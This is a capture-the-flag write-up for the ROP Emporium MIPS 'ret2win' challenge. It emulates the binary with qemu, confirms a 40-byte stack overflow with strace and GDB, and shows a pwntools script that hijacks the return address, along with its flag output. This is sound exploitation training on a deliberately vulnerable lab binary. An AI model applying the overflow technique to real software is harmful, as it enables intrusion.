#rop #mips # ret2win MIPS ## Triage ![](https://i.imgur.com/plVXt9m.png) Like the website says, these challenges are based on ROPing so NX will be enbaled on all of these ### Disassembly main function calls pwnme ![](https://i.imgur.com/uVLdtDY.png) pwnme ![](https://i.imgur.com/oy7SZLX.png) ## Eumulation Because this binary is a MIPS archetecture, to be able to run the binary we need to emulate it somehow. I will be using [qemu](https://www.qemu.org/), specifically qemu-mipsel Install require libraries `sudo apt install gcc-mipsel-linux-gnu` Run the binary `qemu-mipsel -L /usr/mipsel-linux-gnu ./ret2win_mipsel` ## Vulnerability In the pwnme function, 56 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address. If we supply 40 bytes, the last 4 bytes will overflow the return address and we gain control of the program counter. Confirming the vulnerability: ```bash python -c 'print "A"*36+"BBBB"' |qemu-mipsel -strace -L /usr/mipsel-linux-gnu ./ret2win_mipsel ``` ```bash --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} --- qemu: uncaught target signal 11 (Segmentation fault) - core dumped [1] 3258354 done python -c 'print "A"*36+"BBBB"' | 3258355 segmentation fault (core dumped) qemu-mipsel -strace -L /usr/mipsel-linux-gnu ./ret2win_mipsel ``` ### GDB We can also use GDB instead of strace to confirm the vulnerability using: ``` python -c 'print "A"*36+"BBBB"' |qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu ./ret2win_mipsel ``` and in another terminal ```bash gdb-multiarch ./ret2win_mipsel ``` This will spawn a gdb terminal but is not connected to the gdbserver currently running at port 1234 The command below will connect to the gdbserver: `target remote 127.0.0.1:1234` Then using `continue` in GDB we can see where the crash is. ![](https://i.imgur.com/taXOH53.png) ## Exploit The binary contains a win function: ![](https://i.imgur.com/xZLvLf1.png) Setting the program counter to `0x400a00` will execute the win function pwntools is awesome and will do all the magic of calling qemu when it needs to. Just need to specify the library path like we did earlier, ### Script ```python from pwn import * context.binary = elf = ELF("./ret2win_mipsel") payload = "A"*36 payload += p32(elf.sym['ret2win']) io = process("./ret2win_mipsel",env={"QEMU_LD_PREFIX":"/usr/mipsel-linux-gnu"}) io.sendline(payload) io.interactive() ``` ### Result ```bash [*] '/home/chris/ctfs/ropemporium/ret2win/mips/ret2win_mipsel' Arch: mips-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './ret2win_mipsel': pid 3259245 [*] Switching to interactive mode ret2win by ROP Emporium MIPS For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > Thank you! Well done! Here's your flag: ROPE{a_placeholder_32byte_flag!} Well done! Here's your flag: ROPE{a_placeholder_32byte_flag!} Well done! Here's your flag: ``` This keeps repeating so to make the exploit look better we could add a call to exit.